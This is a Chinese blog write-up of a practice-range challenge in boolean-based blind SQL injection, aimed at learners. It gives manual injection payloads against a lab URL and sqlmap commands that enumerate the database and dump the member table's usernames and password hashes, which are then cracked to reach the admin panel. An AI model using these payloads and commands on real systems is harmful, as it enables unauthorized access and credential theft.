WEB安全-SQL注入(布尔盲注)
前言
今天是第一次打墨者的靶场,同时也是第一次更新靶场的教程,如有错误请各位之处,由于我之前SQLi学的比较早,所以先进行SQLi题目的练习,是复习也是巩固
题目地址:
正文
首先确定是布尔盲注,进来发现是这个页面
点击下面的通知发现注入点
所以确定注入点后,先确定数据库的长度,一个一个试发现是10
http://219.153.49.228:42540/new_list.php?id=1 and length(database())=10
这个时候对数据库的名字进行爆破,首先是第一位,使用burp进行抓包
http://219.153.49.228:42540/new_list.php?id=1 and if(ascii(substr(database(),1,1))=97,1,0)
其中对97那边作为爆破点,将爆破范围定为小写到大写的所有ascii码值,得到第一个字母的ascii值为115,即“s”
但是这样未免太麻烦了,所以直接上sqlmap
sqlmap -u 219.153.49.228:42540/new_list.php?id=1 --current-db --batch --threads 10 --level 5 --technique B
得到数据库的名字叫“stormgroup”
然后就是流程化作业,先跑出数据表member和notice
sqlmap -u 219.153.49.228:42540/new_list.php?id=1 -D stormgroup --tables --batch --threads 10 --level 5 --technique B
再跑出各自的数据列
sqlmap -u 219.153.49.228:42540/new_list.php?id=1 -D stormgroup -T member --columns --batch --threads 10 --level 5 --technique B
sqlmap -u 219.153.49.228:42540/new_list.php?id=1 -D stormgroup -T notice --columns --batch --threads 10 --level 5 --technique B
所以key应该再member表中,对member表进行数据榨取
sqlmap -u 219.153.49.228:42540/new_list.php?id=1 -D stormgroup -T member -C name,password,status --dump --threads 10 --level 5 --technique B
得到两个账号和密码,对密码进行md5解密,分别是 528469 和 047298 分别实验一下,发现 047298 是正确的,进入后台,获取key
总结
SQLi的布尔盲注虽然更多的是通过sqlmap跑结果,但是具体的手工注入的流程,具体函数的使用,还是需要注意,不能做只知道用工具的“脚本小子”,同时,对注入点的寻找,不断地试错并总结也很重要
以下函数需要知道
1.if函数
if(condition, value_if_true, value_if_false)
#根据条件进行判断,如果条件为真,输出第二个参数,如果为假,输出第三个参数
2.substr函数
# 常用方式
substr(str,pos):截取字符串str,从pos开始的位置,一直截取到最后
substr (str, pos, len):截取字符串str,从pos位置开始,截取位数为len
3.ascii函数
ascii(str)
# 返回字符串str最左面字符的ASCII代码值,如果str是空字符串,返回0,如果str是NULL,返回NULL
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15562256.html